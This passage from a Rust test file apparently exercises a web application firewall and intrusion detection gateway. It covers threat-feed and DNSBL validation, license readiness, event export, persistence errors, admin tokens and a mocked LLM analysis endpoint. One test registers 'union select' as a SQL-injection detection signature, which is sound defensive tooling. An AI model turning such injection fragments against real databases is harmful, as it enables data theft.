+                ..enterprise_profile()
+            }),
+            Err("commercial licensee is required for active or evaluation licenses")
+        );
+        assert!(validate_commercial_profile(&enterprise_profile()).is_ok());
+        assert!(
+            validate_commercial_profile(&CommercialProfile {
+                license_status: LicenseStatus::Expired,
+                license_id: None,
+                licensee: None,
+                ..CommercialProfile::seeded()
+            })
+            .is_ok()
+        );
+
+        assert_eq!(
+            validate_threat_feed_import(&ThreatFeedImport {
+                feed_id: " ".to_string(),
+                ..threat_feed_import()
+            }),
+            Err("threat feed_id is required")
+        );
+        assert_eq!(
+            validate_threat_feed_import(&ThreatFeedImport {
+                source: " ".to_string(),
+                ..threat_feed_import()
+            }),
+            Err("threat feed source is required")
+        );
+        assert_eq!(
+            validate_threat_feed_import(&ThreatFeedImport {
+                ttl_seconds: 0,
+                ..threat_feed_import()
+            }),
+            Err("threat feed ttl_seconds must be greater than 0")
+        );
+        assert_eq!(
+            validate_threat_feed_import(&ThreatFeedImport {
+                threats: Vec::new(),
+                dnsbl: Vec::new(),
+                ..threat_feed_import()
+            }),
+            Err("threat feed must include at least one threat or DNSBL entry")
+        );
+        assert_eq!(
+            validate_threat_feed_import(&ThreatFeedImport {
+                threats: vec![ThreatIndicator {
+                    value: " ".to_string(),
+                    indicator_type: "malware".to_string(),
+                    severity: Severity::Critical,
+                    source: "unit".to_string(),
+                    ttl_seconds: 60,
+                }],
+                ..threat_feed_import()
+            }),
+            Err("threat indicator value is required")
+        );
+        assert_eq!(
+            validate_threat_feed_import(&ThreatFeedImport {
+                dnsbl: vec![DnsblEntry {
+                    address: "203.0.113.10".parse().unwrap(),
+                    code: "not-ip".to_string(),
+                    reason: "scanner".to_string(),
+                    source: "unit".to_string(),
+                    ttl_seconds: 300,
+                    prefix_len: None,
+                }],
+                ..threat_feed_import()
+            }),
+            Err("DNSBL response code must be an IP address")
+        );
+        assert!(validate_threat_feed_import(&threat_feed_import()).is_ok());
+    }
+
+    #[test]
+    fn legacy_state_json_defaults_commercial_fields() {
+        let legacy = r#"{
+          "routes": [],
+          "threats": [],
+          "dnsbl": [],
+          "events": [],
+          "next_event_id": 7
+        }"#;
+        let loaded: AppData = serde_json::from_str(legacy).unwrap();
+        assert_eq!(loaded.next_event_id, 7);
+        assert_eq!(loaded.commercial.tenant_id, "local-lab");
+        assert_eq!(loaded.commercial.license_status, LicenseStatus::Unlicensed);
+        assert!(loaded.threat_feeds.is_empty());
+    }
+
+    #[test]
+    fn readiness_rejects_blank_license_and_accepts_dnsbl_only_feeds() {
+        let mut data = AppData::seeded();
+        data.threats.clear();
+        data.commercial = CommercialProfile {
+            license_id: Some(" ".to_string()),
+            ..enterprise_profile()
+        };
+        data.threat_feeds = vec![ThreatFeedStatus {
+            feed_id: "dnsbl-only".to_string(),
+            source: "misp://dnsbl".to_string(),
+            last_updated_unix: 1,
+            threat_count: 0,
+            dnsbl_count: 1,
+            ttl_seconds: 600,
+        }];
+        data.events.push(SecurityEvent {
+            id: 1,
+            timestamp_unix: 1,
+            client_ip: None,
+            route_id: Some("demo".to_string()),
+            action: "monitored".to_string(),
+            reason: "unit".to_string(),
+            score: 0,
+            path: "/demo".to_string(),
+        });
+
+        let blocked = commercial_readiness_snapshot_at(&data, 1);
+        assert!(!blocked.ready_for_enterprise_sale);
+        assert!(blocked.blockers.iter().any(|item| item == "license"));
+
+        data.commercial.license_id = Some("LIC-2B-KRW-0001".to_string());
+        let ready = commercial_readiness_snapshot_at(&data, 1);
+        assert!(ready.ready_for_enterprise_sale);
+
+        let stale = commercial_readiness_snapshot_at(&data, 601);
+        assert!(!stale.ready_for_enterprise_sale);
+        assert!(
+            stale
+                .blockers
+                .iter()
+                .any(|item| item == "threat_feed_updates")
+        );
+        let freshness = threat_feed_freshness_snapshot(&data.threat_feeds, 601);
+        assert!(freshness[0].stale);
+        assert_eq!(freshness[0].expires_at_unix, 601);
+
+        let wrapper_kpis = waf_ids_core::kpi_snapshot(&data);
+        assert_eq!(wrapper_kpis.route_count, data.routes.len());
+        let wrapper_readiness = waf_ids_core::commercial_readiness_snapshot(&data);
+        assert_eq!(
+            wrapper_readiness.target_sale_value_krw,
+            TARGET_SALE_VALUE_KRW
+        );
+        let wrapper_manifest = waf_ids_core::buyer_evidence_manifest(&data);
+        assert_eq!(
+            wrapper_manifest.target_sale_value_krw,
+            TARGET_SALE_VALUE_KRW
+        );
+
+        let manifest = waf_ids_core::buyer_evidence_manifest_at(&data, 1);
+        assert!(manifest.ready_for_enterprise_sale);
+        assert_eq!(manifest.runtime_counts.dnsbl_entry_count, data.dnsbl.len());
+        assert!(
+            manifest
+                .required_endpoints
+                .iter()
+                .any(|endpoint| endpoint.id == "dnsbl_zone" && endpoint.required_for_sale)
+        );
+
+        let stale_manifest = waf_ids_core::buyer_evidence_manifest_at(&data, 601);
+        assert!(!stale_manifest.ready_for_enterprise_sale);
+        assert!(
+            stale_manifest
+                .blockers
+                .iter()
+                .any(|item| item == "threat_feed_updates")
+        );
+    }
+
+    #[test]
+    fn exports_security_events_as_ndjson() {
+        let events = vec![SecurityEvent {
+            id: 1,
+            timestamp_unix: 10,
+            client_ip: Some("198.51.100.7".parse().unwrap()),
+            route_id: Some("demo".to_string()),
+            action: "blocked".to_string(),
+            reason: "unit".to_string(),
+            score: 100,
+            path: "/demo".to_string(),
+        }];
+
+        let export = export_events_ndjson(&events).unwrap();
+        assert_eq!(export.lines().count(), 1);
+        assert!(export.ends_with('\n'));
+        assert!(export.contains(r#""action":"blocked""#));
+    }
+
+    #[tokio::test]
+    async fn events_ndjson_serialization_errors_are_operator_visible() {
+        let response =
+            events_ndjson_response(Err(serde_json::Error::io(std::io::Error::other("boom"))));
+
+        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
+        assert!(body_text(response).await.contains("failed to serialize"));
+    }
+
+    #[tokio::test]
+    async fn defaults_scoring_and_state_error_paths_are_explicit() {
+        let seeded = AppState::seeded(None);
+        assert_eq!(seeded.health_status().persistence, "memory");
+
+        let loaded = AppState::load(AppConfig::memory(None)).await.unwrap();
+        assert_eq!(loaded.health_status().dnsbl_origin, "dnsbl.local");
+
+        let minimum = AppState::load(AppConfig {
+            admin_token: None,
+            state_path: None,
+            dnsbl_origin: " . ".to_string(),
+            event_limit: 0,
+        })
+        .await
+        .unwrap();
+        assert_eq!(minimum.health_status().dnsbl_origin, "dnsbl.local");
+        assert_eq!(minimum.health_status().event_limit, 1);
+
+        let score = score_request(
+            "/login",
+            None,
+            "alpha beta",
+            None,
+            &[
+                ThreatIndicator {
+                    value: "alpha".to_string(),
+                    indicator_type: "low".to_string(),
+                    severity: Severity::Low,
+                    source: "unit".to_string(),
+                    ttl_seconds: 60,
+                },
+                ThreatIndicator {
+                    value: "beta".to_string(),
+                    indicator_type: "medium".to_string(),
+                    severity: Severity::Medium,
+                    source: "unit".to_string(),
+                    ttl_seconds: 60,
+                },
+            ],
+            &[],
+        );
+        assert_eq!(score.score, 35);
+
+        let mut headers = HeaderMap::new();
+        headers.insert("x-forwarded-for", HeaderValue::from_static("not-an-ip"));
+        assert_eq!(client_ip_from_headers(&headers), None);
+
+        let valid_path = temp_state_path("valid-load");
+        fs::write(
+            &valid_path,
+            serde_json::to_vec_pretty(&AppData::seeded()).unwrap(),
+        )
+        .await
+        .unwrap();
+        let valid_state = AppState::load(AppConfig {
+            admin_token: None,
+            state_path: Some(valid_path.clone()),
+            dnsbl_origin: "dnsbl.example".to_string(),
+            event_limit: 10,
+        })
+        .await
+        .unwrap();
+        assert_eq!(valid_state.inner.read().await.routes[0].id, "demo");
+        let _ = fs::remove_file(valid_path).await;
+
+        let local_path = PathBuf::from(format!(
+            "waf-ids-state-unit-{}-{}.json",
+            std::process::id(),
+            SystemTime::now()
+                .duration_since(UNIX_EPOCH)
+                .unwrap()
+                .as_nanos()
+        ));
+        persist_state(&local_path, &AppData::seeded())
+            .await
+            .unwrap();
+        let _ = fs::remove_file(local_path).await;
+
+        let invalid_path = temp_state_path("invalid-json");
+        fs::write(&invalid_path, "{").await.unwrap();
+        let result = AppState::load(AppConfig {
+            admin_token: None,
+            state_path: Some(invalid_path.clone()),
+            dnsbl_origin: "dnsbl.example".to_string(),
+            event_limit: 10,
+        })
+        .await;
+        assert!(result.is_err());
+        let error = result.err().unwrap();
+        assert!(error.contains("not valid JSON"));
+        let _ = fs::remove_file(invalid_path).await;
+
+        let dir_path = temp_state_path("state-dir");
+        fs::create_dir_all(&dir_path).await.unwrap();
+        let error = load_or_seed_state(&dir_path).await.unwrap_err();
+        assert!(error.contains("failed to read state file"));
+        let _ = fs::remove_dir_all(&dir_path).await;
+
+        let parent_file = temp_state_path("parent-file");
+        fs::write(&parent_file, "not a directory").await.unwrap();
+        let nested_path = parent_file.join("state.json");
+        let error = persist_state(&nested_path, &AppData::seeded())
+            .await
+            .unwrap_err();
+        assert!(error.contains("failed to create state directory"));
+        let _ = fs::remove_file(parent_file).await;
+
+        let write_dir = temp_state_path("write-dir");
+        fs::create_dir_all(&write_dir).await.unwrap();
+        let error = persist_state(&write_dir, &AppData::seeded())
+            .await
+            .unwrap_err();
+        assert!(error.contains("failed to replace state file"));
+        let _ = fs::remove_dir_all(write_dir).await;
+    }
+
+    #[cfg(unix)]
+    #[tokio::test]
+    async fn load_surfaces_state_rewrite_failures() {
+        use std::os::unix::fs::PermissionsExt;
+
+        let read_only_parent = temp_state_path("read-only-parent");
+        fs::create_dir_all(&read_only_parent).await.unwrap();
+        let read_only_file = read_only_parent.join("state.json");
+        fs::write(
+            &read_only_file,
+            serde_json::to_vec_pretty(&AppData::seeded()).unwrap(),
+        )
+        .await
+        .unwrap();
+        std::fs::set_permissions(&read_only_parent, std::fs::Permissions::from_mode(0o500))
+            .unwrap();
+        let result = AppState::load(AppConfig {
+            admin_token: None,
+            state_path: Some(read_only_file.clone()),
+            dnsbl_origin: "dnsbl.example".to_string(),
+            event_limit: 10,
+        })
+        .await;
+        assert!(
+            result
+                .err()
+                .unwrap()
+                .contains("failed to write temporary state file")
+        );
+        std::fs::set_permissions(&read_only_parent, std::fs::Permissions::from_mode(0o700))
+            .unwrap();
+        let _ = fs::remove_dir_all(read_only_parent).await;
+
+        let read_only_dir = temp_state_path("read-only-dir");
+        fs::create_dir_all(&read_only_dir).await.unwrap();
+        std::fs::set_permissions(&read_only_dir, std::fs::Permissions::from_mode(0o500)).unwrap();
+        let result = AppState::load(AppConfig {
+            admin_token: None,
+            state_path: Some(read_only_dir.join("state.json")),
+            dnsbl_origin: "dnsbl.example".to_string(),
+            event_limit: 10,
+        })
+        .await;
+        assert!(
+            result
+                .err()
+                .unwrap()
+                .contains("failed to write temporary state file")
+        );
+        std::fs::set_permissions(&read_only_dir, std::fs::Permissions::from_mode(0o700)).unwrap();
+        let _ = fs::remove_dir_all(read_only_dir).await;
+    }
+
+    #[tokio::test]
+    async fn persistence_failures_return_operator_visible_errors() {
+        let failing_path = temp_state_path("persist-dir");
+        fs::create_dir_all(&failing_path).await.unwrap();
+        let state = AppState::new(
+            AppData {
+                routes: vec![RouteConfig {
+                    id: "mock".to_string(),
+                    path_prefix: "/mock".to_string(),
+                    upstream: "mock://mock".to_string(),
+                    mode: EnforcementMode::Monitor,
+                    enabled: true,
+                    block_threshold: None,
+                }],
+                threats: Vec::new(),
+                operator_threat_keys: Vec::new(),
+                dnsbl: Vec::new(),
+                events: Vec::new(),
+                next_event_id: 1,
+                audit_logs: Vec::new(),
+                next_audit_log_id: 1,
+                commercial: CommercialProfile::seeded(),
+                threat_feeds: Vec::new(),
+                threat_feed_ownership: Vec::new(),
+            },
+            AppConfig {
+                admin_token: None,
+                state_path: Some(failing_path.clone()),
+                dnsbl_origin: "dnsbl.local".to_string(),
+                event_limit: 10,
+            },
+        );
+        let app = build_app(state);
+
+        let route_response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/routes",
+                None,
+                &RouteConfig {
+                    id: "new".to_string(),
+                    path_prefix: "/new".to_string(),
+                    upstream: "mock://new".to_string(),
+                    mode: EnforcementMode::Monitor,
+                    enabled: true,
+                    block_threshold: None,
+                },
+            ),
+        )
+        .await;
+        assert_eq!(route_response.status(), StatusCode::INTERNAL_SERVER_ERROR);
+        let routes: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/routes")).await).await;
+        assert!(!routes.iter().any(|route| route.id == "new"));
+
+        let threat_response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threats",
+                None,
+                &ThreatIndicator {
+                    value: "union select".to_string(),
+                    indicator_type: "sqli".to_string(),
+                    severity: Severity::High,
+                    source: "unit".to_string(),
+                    ttl_seconds: 60,
+                },
+            ),
+        )
+        .await;
+        assert_eq!(threat_response.status(), StatusCode::INTERNAL_SERVER_ERROR);
+        let threats: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
+        assert!(threats.is_empty());
+
+        let dnsbl_response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/dnsbl",
+                None,
+                &DnsblEntry {
+                    address: "203.0.113.10".parse().unwrap(),
+                    code: "127.0.0.2".to_string(),
+                    reason: "scanner".to_string(),
+                    source: "unit".to_string(),
+                    ttl_seconds: 300,
+                    prefix_len: None,
+                },
+            ),
+        )
+        .await;
+        assert_eq!(dnsbl_response.status(), StatusCode::INTERNAL_SERVER_ERROR);
+        let dnsbl: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
+        assert!(dnsbl.is_empty());
+
+        let license_response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/commercial/license",
+                None,
+                &enterprise_profile(),
+            ),
+        )
+        .await;
+        assert_eq!(license_response.status(), StatusCode::INTERNAL_SERVER_ERROR);
+        let license: CommercialProfile = json_body(
+            app_request(&app, empty_request(Method::GET, "/api/commercial/license")).await,
+        )
+        .await;
+        assert_eq!(license.license_status, LicenseStatus::Unlicensed);
+
+        let feed_response = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/threat-feeds/import",
+                None,
+                &threat_feed_import(),
+            ),
+        )
+        .await;
+        assert_eq!(feed_response.status(), StatusCode::INTERNAL_SERVER_ERROR);
+        let feeds: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/threat-feeds")).await)
+                .await;
+        assert!(feeds.is_empty());
+
+        let gateway_response = app_request(&app, empty_request(Method::GET, "/gateway/mock")).await;
+        assert_eq!(gateway_response.status(), StatusCode::OK);
+        let events: Vec =
+            json_body(app_request(&app, empty_request(Method::GET, "/api/events")).await).await;
+        assert!(events.is_empty());
+        let _ = fs::remove_dir_all(failing_path).await;
+    }
+
+    #[tokio::test]
+    async fn event_retention_keeps_latest_events_and_next_id() {
+        let state = AppState::new(
+            AppData::seeded(),
+            AppConfig {
+                admin_token: None,
+                state_path: None,
+                dnsbl_origin: "dnsbl.example".to_string(),
+                event_limit: 2,
+            },
+        );
+
+        record_event(
+            &state,
+            None,
+            None,
+            "monitored",
+            "one".to_string(),
+            0,
+            "/one",
+        )
+        .await;
+        record_event(
+            &state,
+            None,
+            None,
+            "monitored",
+            "two".to_string(),
+            0,
+            "/two",
+        )
+        .await;
+        record_event(
+            &state,
+            None,
+            None,
+            "blocked",
+            "three".to_string(),
+            100,
+            "/three",
+        )
+        .await;
+
+        let data = state.inner.read().await;
+        assert_eq!(data.events.len(), 2);
+        assert_eq!(data.events[0].id, 2);
+        assert_eq!(data.events[1].id, 3);
+        assert_eq!(data.next_event_id, 4);
+    }
+
+    #[test]
+    fn health_reports_runtime_configuration() {
+        let state = AppState::new(
+            AppData::seeded(),
+            AppConfig {
+                admin_token: None,
+                state_path: Some(PathBuf::from("state.json")),
+                dnsbl_origin: "dnsbl.example.".to_string(),
+                event_limit: 25,
+            },
+        );
+
+        assert_eq!(
+            state.health_status(),
+            HealthStatus {
+                status: "ok".to_string(),
+                persistence: "file".to_string(),
+                dnsbl_origin: "dnsbl.example".to_string(),
+                event_limit: 25,
+                credentials_source: "none".to_string(),
+                admin_auth_configured: false,
+                auth_mode: "development".to_string(),
+            }
+        );
+
+        let authed = state
+            .clone()
+            .with_admin_tokens(parse_admin_tokens("tok:operator"))
+            .with_credentials_source(CredentialSource::File);
+        let health = authed.health_status();
+        assert_eq!(health.credentials_source, "file");
+        assert!(health.admin_auth_configured);
+        assert_eq!(health.auth_mode, "production");
+
+        let unpresentable = state
+            .clone()
+            .with_admin_tokens(parse_admin_tokens("bad\nwrite:ops:admin"))
+            .with_credentials_source(CredentialSource::Env);
+        let health = unpresentable.health_status();
+        assert_eq!(health.credentials_source, "env");
+        assert!(health.admin_auth_configured);
+        assert_eq!(health.auth_mode, "development");
+    }
+
+    #[test]
+    fn parse_admin_tokens_strict_rejects_ambiguous_bootstrap_entries() {
+        let map = parse_admin_tokens_strict("tokA:alice,tokR:reader:readonly").unwrap();
+        assert!(map.get("tokA").is_some_and(|p| p.can_write));
+        assert!(map.get("tokR").is_some_and(|p| !p.can_write));
+        let dup = parse_admin_tokens_strict("tokA:alice,tokA:bob").unwrap_err();
+        assert!(dup.contains("duplicate token"), "{dup}");
+        let role = parse_admin_tokens_strict("tokA:alice:superuser").unwrap_err();
+        assert!(role.contains("not recognised"), "{role}");
+        let blank = parse_admin_tokens_strict(":noname").unwrap_err();
+        assert!(blank.contains("blank token"), "{blank}");
+        let blank_entry = parse_admin_tokens_strict("tokA:alice,,tokB:bob").unwrap_err();
+        assert!(blank_entry.contains("blank entry"), "{blank_entry}");
+    }
+
+    #[test]
+    fn has_write_admin_credential_ignores_unpresentable_tokens() {
+        let state = AppState::seeded(Some("line\nbreak".to_string()));
+        assert!(!has_write_admin_credential(&state));
+
+        let rbac_state = AppState::seeded(None)
+            .with_admin_tokens(parse_admin_tokens("good:ops:readonly,bad\nwrite:ops:admin"));
+        assert!(!has_write_admin_credential(&rbac_state));
+    }
+
+    fn clearfolio_test_config(base_url: &str) -> ClearfolioConfig {
+        ClearfolioConfig {
+            base_url: base_url.to_string(),
+            tenant_id: "buyer-demo".to_string(),
+            subject_id: "buyer-demo".to_string(),
+            permissions: "job:read".to_string(),
+        }
+    }
+
+    #[test]
+    fn clearfolio_helpers_build_urls_headers_and_documents() {
+        assert_eq!(
+            clearfolio_submit_url("http://c"),
+            "http://c/api/v1/convert/jobs"
+        );
+        assert_eq!(
+            clearfolio_submit_url("http://c/"),
+            "http://c/api/v1/convert/jobs"
+        );
+        assert_eq!(
+            clearfolio_status_url("http://c/", "J1"),
+            "http://c/api/v1/convert/jobs/J1"
+        );
+        let config = clearfolio_test_config("http://c");
+        let headers = clearfolio_tenant_headers(&config);
+        assert_eq!(headers[0], ("X-Clearfolio-Tenant-Id", "buyer-demo"));
+        assert_eq!(headers[1], ("X-Clearfolio-Subject-Id", "buyer-demo"));
+        assert_eq!(headers[2], ("X-Clearfolio-Permissions", "job:read"));
+
+        let data = AppData::seeded();
+        let (name, bytes) = clearfolio_document("evidence-manifest", &data).unwrap();
+        assert_eq!(name, "evidence-manifest.txt");
+        assert!(!bytes.is_empty());
+        let (name, _) = clearfolio_document("soc-export", &data).unwrap();
+        assert_eq!(name, "soc-export.txt");
+        assert!(clearfolio_document("unknown", &data).is_none());
+    }
+
+    #[tokio::test]
+    async fn clearfolio_config_reports_enabled_state() {
+        let off = build_app(AppState::seeded(None));
+        let disabled: serde_json::Value = json_body(
+            app_request(&off, empty_request(Method::GET, "/api/clearfolio/config")).await,
+        )
+        .await;
+        assert_eq!(disabled["enabled"], false);
+        assert_eq!(disabled["base_url"], serde_json::Value::Null);
+
+        let on = build_app(
+            AppState::seeded(None)
+                .with_clearfolio(Some(clearfolio_test_config("http://viewer.example"))),
+        );
+        let enabled: serde_json::Value =
+            json_body(app_request(&on, empty_request(Method::GET, "/api/clearfolio/config")).await)
+                .await;
+        assert_eq!(enabled["enabled"], true);
+        assert_eq!(enabled["base_url"], "http://viewer.example");
+        assert_eq!(enabled["kinds"][0], "evidence-manifest");
+    }
+
+    #[tokio::test]
+    async fn clearfolio_submit_and_status_guard_paths() {
+        // Admin token required -> 401 without one.
+        let secured = build_app(
+            AppState::seeded(Some("secret".to_string()))
+                .with_clearfolio(Some(clearfolio_test_config("http://127.0.0.1:1"))),
+        );
+        assert_eq!(
+            app_request(
+                &secured,
+                empty_request(Method::POST, "/api/clearfolio/documents/evidence-manifest")
+            )
+            .await
+            .status(),
+            StatusCode::UNAUTHORIZED
+        );
+        assert_eq!(
+            app_request(
+                &secured,
+                empty_request(Method::GET, "/api/clearfolio/jobs/J1")
+            )
+            .await
+            .status(),
+            StatusCode::UNAUTHORIZED
+        );
+
+        // Not configured -> 503.
+        let unconfigured = build_app(AppState::seeded(None));
+        assert_eq!(
+            app_request(
+                &unconfigured,
+                empty_request(Method::POST, "/api/clearfolio/documents/evidence-manifest")
+            )
+            .await
+            .status(),
+            StatusCode::SERVICE_UNAVAILABLE
+        );
+        assert_eq!(
+            app_request(
+                &unconfigured,
+                empty_request(Method::GET, "/api/clearfolio/jobs/J1")
+            )
+            .await
+            .status(),
+            StatusCode::SERVICE_UNAVAILABLE
+        );
+
+        // Configured but unknown document kind -> 404 (before any upstream call).
+        let configured = build_app(
+            AppState::seeded(None)
+                .with_clearfolio(Some(clearfolio_test_config("http://127.0.0.1:1"))),
+        );
+        assert_eq!(
+            app_request(
+                &configured,
+                empty_request(Method::POST, "/api/clearfolio/documents/unknown")
+            )
+            .await
+            .status(),
+            StatusCode::NOT_FOUND
+        );
+    }
+
+    #[tokio::test]
+    async fn clearfolio_submit_and_status_relay_success_and_upstream_errors() {
+        let mock = Router::new()
+            .route(
+                "/api/v1/convert/jobs",
+                post(|| async {
+                    (
+                        StatusCode::ACCEPTED,
+                        [("content-type", "application/json")],
+                        r#"{"jobId":"J1","status":"PENDING","statusUrl":"/api/v1/convert/jobs/J1"}"#,
+                    )
+                }),
+            )
+            .route(
+                "/api/v1/convert/jobs/{id}",
+                get(|| async {
+                    (
+                        StatusCode::OK,
+                        [("content-type", "application/json")],
+                        r#"{"status":"SUCCEEDED","docId":"D1"}"#,
+                    )
+                }),
+            );
+        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let addr = listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(listener, mock).into_future());
+
+        let app = build_app(
+            AppState::seeded(None)
+                .with_clearfolio(Some(clearfolio_test_config(&format!("http://{addr}")))),
+        );
+
+        let submit = app_request(
+            &app,
+            empty_request(Method::POST, "/api/clearfolio/documents/evidence-manifest"),
+        )
+        .await;
+        assert_eq!(submit.status(), StatusCode::ACCEPTED);
+        let submit_body: serde_json::Value = json_body(submit).await;
+        assert_eq!(submit_body["jobId"], "J1");
+
+        let status = app_request(&app, empty_request(Method::GET, "/api/clearfolio/jobs/J1")).await;
+        assert_eq!(status.status(), StatusCode::OK);
+        let status_body: serde_json::Value = json_body(status).await;
+        assert_eq!(status_body["docId"], "D1");
+
+        // Unreachable upstream -> 502 on both submit and status.
+        let dead_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let dead_addr = dead_listener.local_addr().unwrap();
+        drop(dead_listener);
+        let down = build_app(
+            AppState::seeded(None)
+                .with_clearfolio(Some(clearfolio_test_config(&format!("http://{dead_addr}")))),
+        );
+        assert_eq!(
+            app_request(
+                &down,
+                empty_request(Method::POST, "/api/clearfolio/documents/soc-export")
+            )
+            .await
+            .status(),
+            StatusCode::BAD_GATEWAY
+        );
+        assert_eq!(
+            app_request(&down, empty_request(Method::GET, "/api/clearfolio/jobs/J1"))
+                .await
+                .status(),
+            StatusCode::BAD_GATEWAY
+        );
+    }
+
+    fn soc_test_event() -> SecurityEvent {
+        SecurityEvent {
+            id: 1,
+            timestamp_unix: 1000,
+            client_ip: Some("203.0.113.5".parse().unwrap()),
+            route_id: Some("demo".to_string()),
+            action: "blocked".to_string(),
+            reason: "sqli signature".to_string(),
+            score: 90,
+            path: "/gateway/demo".to_string(),
+        }
+    }
+
+    fn state_with_event_and_llm(base_url: &str) -> AppState {
+        let mut data = AppData::seeded();
+        data.events.push(soc_test_event());
+        AppState::new(data, AppConfig::memory(None)).with_soc_llm(Some(SocLlmConfig {
+            base_url: base_url.to_string(),
+            token: "test-token".to_string(),
+            model: "contextual-orchestrator".to_string(),
+        }))
+    }
+
+    async fn spawn_chat_mock(response: &'static str) -> std::net::SocketAddr {
+        let app = Router::new().route(
+            "/v1/chat/completions",
+            post(move || async move {
+                (
+                    StatusCode::OK,
+                    [("content-type", "application/json")],
+                    response,
+                )
+            }),
+        );
+        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let addr = listener.local_addr().unwrap();
+        tokio::spawn(axum::serve(listener, app).into_future());
+        addr
+    }
+
+    #[test]
+    fn soc_llm_chat_body_and_extract() {
+        let body = soc_llm_chat_body("m1", &soc_test_event());
+        assert_eq!(body["model"], "m1");
+        assert_eq!(body["messages"][0]["role"], "system");
+        assert!(
+            body["messages"][1]["content"]
+                .as_str()
+                .unwrap()
+                .contains("sqli signature")
+        );
+        // client_ip None branch renders "unknown".
+        let mut anon = soc_test_event();
+        anon.client_ip = None;
+        let anon_body = soc_llm_chat_body("m1", &anon);
+        assert!(
+            anon_body["messages"][1]["content"]
+                .as_str()
+                .unwrap()
+                .contains("client_ip: unknown")
+        );
+
+        let good = serde_json::json!({"choices":[{"message":{"content":"verdict"}}]});
+        assert_eq!(soc_llm_extract_content(&good).unwrap(), "verdict");
+        assert!(soc_llm_extract_content(&serde_json::json!({})).is_none());
+        // Empty `choices` array: the first-element lookup must short-circuit to None.
+        assert!(soc_llm_extract_content(&serde_json::json!({"choices":[]})).is_none());
+        // A choice with no `message` object must short-circuit to None.
+        assert!(soc_llm_extract_content(&serde_json::json!({"choices":[{}]})).is_none());
+        assert!(
+            soc_llm_extract_content(&serde_json::json!({"choices":[{"message":{}}]})).is_none()
+        );
+    }
+
+    #[tokio::test]
+    async fn soc_llm_config_reports_enabled_state() {
+        let off = build_app(AppState::seeded(None));
+        let disabled: serde_json::Value =
+            json_body(app_request(&off, empty_request(Method::GET, "/api/soc/llm-config")).await)
+                .await;
+        assert_eq!(disabled["enabled"], false);
+
+        let on = build_app(state_with_event_and_llm("http://llm.example"));
+        let enabled: serde_json::Value =
+            json_body(app_request(&on, empty_request(Method::GET, "/api/soc/llm-config")).await)
+                .await;
+        assert_eq!(enabled["enabled"], true);
+        assert_eq!(enabled["model"], "contextual-orchestrator");
+    }
+
+    #[tokio::test]
+    async fn soc_analyze_guard_paths() {
+        // Unauthorized.
+        let secured = build_app(
+            AppState::seeded(Some("secret".to_string())).with_soc_llm(Some(SocLlmConfig {
+                base_url: "http://127.0.0.1:1".to_string(),
+                token: "t".to_string(),
+                model: "m".to_string(),
+            })),
+        );
+        assert_eq!(
+            app_request(
+                &secured,
+                json_request(
+                    Method::POST,
+                    "/api/soc/analyze",
+                    None,
+                    &serde_json::json!({"event_id": 1})
+                )
+            )
+            .await
+            .status(),
+            StatusCode::UNAUTHORIZED
+        );
+
+        // Not configured -> 503.
+        let unconfigured = build_app(AppState::seeded(None));
+        assert_eq!(
+            app_request(
+                &unconfigured,
+                json_request(
+                    Method::POST,
+                    "/api/soc/analyze",
+                    None,
+                    &serde_json::json!({"event_id": 1})
+                )
+            )
+            .await
+            .status(),
+            StatusCode::SERVICE_UNAVAILABLE
+        );
+
+        // Configured but unknown event id -> 404.
+        let configured = build_app(state_with_event_and_llm("http://127.0.0.1:1"));
+        assert_eq!(
+            app_request(
+                &configured,
+                json_request(
+                    Method::POST,
+                    "/api/soc/analyze",
+                    None,
+                    &serde_json::json!({"event_id": 999})
+                )
+            )
+            .await
+            .status(),
+            StatusCode::NOT_FOUND
+        );
+    }
+
+    #[tokio::test]
+    async fn soc_analyze_success_and_upstream_errors() {
+        // Success: mock returns a chat completion.
+        let ok_addr =
+            spawn_chat_mock(r#"{"choices":[{"message":{"content":"Likely SQLi. High severity. Block the source IP."}}]}"#)
+                .await;
+        let app = build_app(state_with_event_and_llm(&format!("http://{ok_addr}")));
+        let resp = app_request(
+            &app,
+            json_request(
+                Method::POST,
+                "/api/soc/analyze",
+                None,
+                &serde_json::json!({"event_id": 1}),
+            ),
+        )
+        .await;
+        assert_eq!(resp.status(), StatusCode::OK);
+        let body: serde_json::Value = json_body(resp).await;
+        assert_eq!(body["event_id"], 1);
+        assert!(body["analysis"].as_str().unwrap().contains("SQLi"));
+
+        // Missing choices[0].message.content -> 502.
+        let empty_addr = spawn_chat_mock("{}").await;
+        let empty_app = build_app(state_with_event_and_llm(&format!("http://{empty_addr}")));
+        assert_eq!(
+            app_request(
+                &empty_app,
+                json_request(
+                    Method::POST,
+                    "/api/soc/analyze",
+                    None,
+                    &serde_json::json!({"event_id": 1})
+                )
+            )
+            .await
+            .status(),
+            StatusCode::BAD_GATEWAY
+        );
+
+        // Non-JSON response -> 502.
+        let bad_addr = spawn_chat_mock("not json").await;
+        let bad_app = build_app(state_with_event_and_llm(&format!("http://{bad_addr}")));
+        assert_eq!(
+            app_request(
+                &bad_app,
+                json_request(
+                    Method::POST,
+                    "/api/soc/analyze",
+                    None,
+                    &serde_json::json!({"event_id": 1})
+                )
+            )
+            .await
+            .status(),
+            StatusCode::BAD_GATEWAY
+        );
+
+        // Unreachable upstream -> 502.
+        let dead = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let dead_addr = dead.local_addr().unwrap();
+        drop(dead);
+        let down = build_app(state_with_event_and_llm(&format!("http://{dead_addr}")));
+        assert_eq!(
+            app_request(
+                &down,
+                json_request(
+                    Method::POST,
+                    "/api/soc/analyze",
+                    None,
+                    &serde_json::json!({"event_id": 1})
+                )
+            )
+            .await
+            .status(),
